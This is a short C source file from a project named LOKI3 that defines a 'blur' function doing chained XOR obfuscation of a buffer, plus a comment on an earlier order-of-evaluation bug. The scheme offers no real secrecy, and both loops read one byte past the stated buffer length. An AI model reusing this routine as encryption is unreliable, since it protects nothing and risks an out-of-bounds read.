/* * LOKI3 * * [ crypt.c ] * * 1996/7 Guild Corporation Worldwide [daemon9] */ #include "loki.h" #include "crypt.h" #ifdef WEAK_CRYPTO /* * Simple XOR obfuscation. * * ( Syko was right -- the following didn't work under certain compilation * environments... Never write code in which the order of evaluation defines * the result. See K&R page 53, at the bottom... ) * * if (!m) while (i < bs) t[i] ^= t[i++ +1]; * else * { * i = bs; * while (i) t[i - 1] ^= t[i--]; * } * */ void blur(int m, int bs, uint8_t *t) { int i = 0; if (!m) { /* Encrypt */ while (i < bs) { t[i] ^= t[i + 1]; i++; } } else { /* Decrypt */ i = bs; while (i) { t[i - 1] ^= t[i]; i--; } } } #endif /* WEAK_CRYPTO */ #ifdef NO_CRYPTO void blur(int m, int bs, uint8_t *t){} #endif /* NO_CRYPTO */ /* EOF */